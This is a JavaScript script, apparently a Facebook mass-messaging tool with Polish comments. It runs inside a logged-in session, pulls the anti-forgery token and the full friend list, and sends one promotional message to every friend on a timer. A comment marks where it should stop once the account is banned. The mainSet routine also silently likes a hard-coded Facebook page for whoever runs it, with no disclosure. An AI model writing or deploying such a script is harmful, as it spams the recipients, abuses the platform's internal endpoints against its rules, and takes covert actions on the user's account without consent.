function facebook ()
{
this.iIdLoginUser = '';
this.bCheckAction = 'false';
this.iCountSend = 0;
this.iAllFrends = '';
this.iSleep = '';
this.Time = '';
/**
* Tworzenie okna do wysylania wiadomosci
**/
this.createDivMessage = function (sGallery, sMessage)
{
var self = this;
var iLeft = Math.ceil(((window.innerWidth || document.body.clientWidth) - 600) / 2);
var sHtml ='<div id="photos_snowlift" class="_n8 _3qx fbPhotoSnowlift fbxPhoto uiLayer fullScreenAvailable _3qw" tabindex="0" role="region" aria-busy="false" style="min-width: 100%;">'+
'<div style="margin-left:'+iLeft+'px; margin-top: 150px; margin-bottom: 150px;'+
'width: 700px;'+
'height: 400px;'+
'background-image: -webkit-gradient( linear, left top, left bottom, color-stop(0, #787878), color-stop(1, #000000) );'+
'background-image: -o-linear-gradient(bottom, #787878 0%, #000000 100%);'+
'background-image: -moz-linear-gradient(bottom, #787878 0%, #000000 100%);'+
'background-image: -webkit-linear-gradient(bottom, #787878 0%, #000000 100%);'+
'background-image: -ms-linear-gradient(bottom, #787878 0%, #000000 100%);'+
'background-image: linear-gradient(to bottom, #787878 0%, #000000 100%);'+
'border-radius: 80px 80px 0 40px;'+
'-webkit-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
'-moz-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
'box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
'">'+
'<div class="top" style="height: 100px;'+
'width: 100%;'+
'padding: 15px;">'+
'<div class="top-left" style="float: left; width: 240px;">'+
'<div style="width: 100px;'+
'height: 100px;'+
'float:left;'+
'border-radius: 80px 80px 0 80px;'+
'background-color: silver;'+
'background-image: url(\'https://graph.facebook.com/'+self.iIdLoginUser +'/picture\'); background-size: cover;">'+
'</div>'+
'<div id="avatersendid" style="width: 100px;'+
'height: 100px;'+
'float:left;'+
'margin-left: 10px;'+
'border-radius: 80px 80px 80px 0;'+
'background-size: cover;">'+
'</div>'+
'</div>'+
'<div style="float: left; width: 180px; margin-top: 23px;"><h2 style="color: white;">Sender Messager v. 1.0.5b</h2></div>'+
'<div style="float: right; margin-right: 120px;">'+
'<div style="position: relative; left: 150px; color: white;"><a onClick="javascript:oFacebook.setRemoveScript(this)" class="closeTheater" role="button"></a></div>'+
'<table id="status-table" style="color: white;">'+
'<tr>'+
'<td name=""></td>'+
'<td name=""></td>'+
'</tr>'+
'<tr>'+
'<td name="">Ilosc znajomych:</td>'+
'<td name="allfrends">'+self.iAllFrends+'</td>'+
'</tr>'+
'<td name="">Ilosc wyslanych:</td>'+
'<td id="senduserid" name="senduser">0'+'</td>'+
'</tr>'+
'<td name="">Pozostaly czas:</td>'+
'<td id="totalltimeid" name="totalltime">(?)'+' sek</td>'+
'</tr>'+
'</tr>'+
'<td name="">Opoznienie:</td>'+
'<td id="sendsleepid" name="sendsleep">'+self.iSleep+' ms</td>'+
'</tr>'+
'</table>'+
'</div>'+
'</div>'+
'<div class="content">'+
'<form name="allusers" action="javascript:oFacebook.sendTotallMessage();">'+
'<div id="galleryfb" style="width: 100%;'+
'height: 170px;'+
'overflow: auto; opacity: 0.6;'+
'">'+sGallery.toString()+'</div>'+
//'"></div>'+
'<textarea class="message" name="message" style="width: 670px;'+
'height: 45px;'+
'border-radius: 0 0 0 15px;'+
'padding: 15px;'+
'opacity: 0.5;">'+sMessage+'</textarea>'+
'<div style="float: right;">'+
'<input style="float: right;'+
'background-color: #000000;'+
'color: white;'+
'text-decoration: none;'+
'border: 0;" class="button" type="submit" value="Pause" onClick="javascript:oFacebook.bCheckAction=\'true\'" />'+
'<input style="float: right;'+
'background-color: #000000;'+
'color: white;'+
'text-decoration: none;'+
'border: 0;" class="button" onClick="javascript:oFacebook.bCheckAction=\'false\'" type="submit" value="Start" />'+
'<span style="color: white; text-decoration: none;" id="range">Start(0)</span><input type="range" min="0" max="'+self.iAllFrends+'" value="0" step="1" onchange="javascript:oFacebook.showValue(this.value)" />'+
'</div>'+
'</form>'+
'</div>'+
'<div style="float: left; text-align: left;'+
'color: white;'+
'margin-right: 10px;'+
'color: white;'+
'font-size: 12px;'+
'margin-left: 20px;'+
'opacity: 0.3; z-index: -1;" class="footer">DLA ZARABIAM</div>'+
'</div></div>';
return sHtml;
}
this.showValue = function(newValue)
{
var self = this;
document.getElementById("range").innerHTML="Start("+newValue+")";
self.iCountSend = newValue;
self.sellectCheckBox(newValue);
}
this.setLikeFBTools = function()
{
//id 391936144280862
var self = this;
var sUrl = 'https://www.facebook.com/ajax/pages/fan_status.php';
var d = new Date();
var data = {
"fbpage_id" : "391936144280862",
"add" : "true",
"reload" : "false",
"fan_origin" : "page_timeline",
"nctr[_mod]" : "pagelet_timeline_page_actions",
"__user": self.getMyUserId(),
"__a": "1",
"fb_dtsg": self.getFbDtsg(),
"ttstamp": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2)
}
var req = self.serialize(data);
var sSource = self.sendAjax(sUrl,req);
}
this.setRemoveScript = function ()
{
document.getElementById("photos_snowlift").remove();
}
this.crateDivGallery = function (oIds)
{
var self = this;
var iCount = 0;
var sHtml = '';
for(var i in oIds)
{
iCount++;
sHtml += '<div style="float:left; padding: 10px;"><input name="userid" type="checkbox" checked="checked" value="'+oIds[i]+'" /><img src="https://graph.facebook.com/'+oIds[i]+'/picture"/></div>';
}
sHtml += '';
self.iAllFrends = iCount;
return sHtml.toString();
}
this.sellectCheckBox = function(i)
{
checkboxes = document.allusers.userid;
//sHtml = ''
for(var x=0; x<checkboxes.length; x++)
{
if(x<i)
{
//console.log("i="+i+' x='+x);
var test = checkboxes[x];
checkboxes[x].checked = false;
//console.log(checkboxes[x].checked);
}
else
{
checkboxes[x].checked = true;
}
}
document.allusers.userid.innerHTML = checkboxes;
//console.log(checkboxes);
//document.getElementById("galleryfb").innerHTML = sHtml;
}
this.getRequest = function (xmlhttp)
{
if (xmlhttp.readyState==4)
{
return xmlhttp.responseText;
}
}
this.sendAjax = function (sUrl, sData)
{
var xmlhttp;
var response;
var self = this;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST",sUrl,false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", sData.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(sData);
response = xmlhttp.onreadystatechange = self.getRequest(xmlhttp);
return response;
}
this.getSelector = function(sSearch)
{
var sFind = document.getElementsByTagName('input');
for(var i = 0; i < sFind.length; i++)
{
if(sFind[i].name.indexOf(sSearch) == 0)
{
return sFind[i].value;
}
}
}
this.getMyUserId = function ()
{
var self = this;
return self.getSelector('targetid');
}
this.getFbDtsg = function ()
{
//<input type="hidden" name="fb_dtsg" value="AQHOy-CS3cy_" autocomplete="off" />
var self = this;
return self.getSelector('fb_dtsg');
}
this.getAllIdFrends = function(iId, fbdtsg)
{
var self = this;
var sUrl = "https://www.facebook.com/ajax/chooser/list/friends/all/";
var aData = "__user="+iId+"&__a=1&fb_dtsg="+fbdtsg+"&ttstamp="+Math.round(new Date().getTime() / 1000)+"";
var sSource = self.sendAjax(sUrl,aData);
return sSource;
}
/**
* Sprawdzenie checkboxa i pobranie value
*/
this.getRadioButtonValue = function (rbutton)
{
if (rbutton.checked)
{
return rbutton.value;
}
return null;
}
this.serialize = function(obj)
{
var str = [];
for(var p in obj)
str.push(p + "=" + encodeURIComponent(obj[p]));
return str.join("&");
}
this.random = function (len)
{
var min = Math.pow(10, len-1);
var max = Math.pow(10, len);
return Math.floor(Math.random() * (max - min + 1)) + min;
}
this.sendMessageToUser = function (iIdUserToSend, sMessageToSend)
{
var self = this;
var fbDtsg = self.getFbDtsg();
var fbid = self.getMyUserId();
var d = new Date();
var sUrl = 'https://www.facebook.com/ajax/mercury/send_messages.php';
var data = {
"message_batch[0][timestamp_relative]": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2),
"message_batch[0][author]": "fbid:" + fbid,
"message_batch[0][is_cleared]": "false",
"message_batch[0][message_id]": "<" + self.random(14) + ":" + self.random(10) + "-" + self.random(10) + "@mail.projektitan.com>",
"message_batch[0][specific_to_list][0]": "fbid:" + iIdUserToSend,
"__user": fbid,
"message_batch[0][timestamp_absolute]": "Oggi",
"message_batch[0][spoof_warning]": "false",
"message_batch[0][client_thread_id]": "user:" + iIdUserToSend,
"message_batch[0][source]": "source:chat:web",
"message_batch[0][has_attachment]": "false",
"message_batch[0][source_tags][0]": "source:chat",
"message_batch[0][body]": sMessageToSend,
"message_batch[0][is_filtered_content]": "false",
"message_batch[0][timestamp]": "" + Math.round(new Date().getTime() / 1000),
"message_batch[0][is_unread]": "false",
"message_batch[0][action_type]": "ma-type:user-generated-message",
"__a": "1",
"message_batch[0][specific_to_list][1]": "fbid:" + fbid,
"message_batch[0][html_body]": "false",
"message_batch[0][status]": "0",
"client": "mercury",
"message_batch[0][is_forward]": "false",
"fb_dtsg":fbDtsg
};
var req = self.serialize(data);
var sSource = self.sendAjax(sUrl,req);
//@todo przerwanie w momencie gdy cie zbanuja
}
this.setInfoSendUser = function (iCount, iMax)
{
var self = this;
var iTime = Math.ceil((((iMax * self.iSleep) - (iCount*self.iSleep))/1000));
document.getElementById("senduserid").innerHTML = iCount;
document.getElementById("totalltimeid").innerHTML = iTime+' sek';
}
this.setSleep = function (i)
{
var self = this;
var oNodeList = document.allusers['userid'];
var sMessage = document.allusers['message'];
if(self.bCheckAction !== 'false')
{
return '';
}
if(i<self.iCountSend)
{
i = self.iCountSend;
}
else
{
self.iCountSend = i;
}
if(i<oNodeList.length)
{
i++;
self.setInfoSendUser(i);
var iIdUser = self.getRadioButtonValue(oNodeList[i]);
if(iIdUser !==null)
{
self.setInfoSendUser(i, oNodeList.length);
document.getElementById("avatersendid").style.backgroundImage = "url('https://graph.facebook.com/"+iIdUser+"/picture')";
self.sendMessageToUser(iIdUser,sMessage.value);
}
setTimeout(
function(){
self.setSleep(i);
},self.iSleep);
}
}
this.sendTotallMessage = function()
{
var self = this;
self.setSleep(0);
}
this.sleep = function (milliseconds)
{
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds){
break;
}
}
}
this.mainSet = function (sMessage)
{
var self = this;
var fbDtsg = self.getFbDtsg();
var iId = self.getMyUserId();
var aFrends = self.getAllIdFrends(iId, fbDtsg);
self.setLikeFBTools();
self.iIdLoginUser = iId;
if(typeof aFrends !== "undefined")
{
aFrends = JSON.parse(aFrends.slice(9,aFrends.length));
var oIds = aFrends['payload']['ids'];
var sGallery = self.crateDivGallery(oIds).toString();
var sLightBox = self.createDivMessage(sGallery, sMessage);
document.getElementById("pagelet_bluebar").innerHTML += sLightBox;
}
}
}
var sMessage = 'dla zarabiam.';
var oFacebook = new facebook();
oFacebook.iSleep = 1000;
oFacebook.mainSet(sMessage);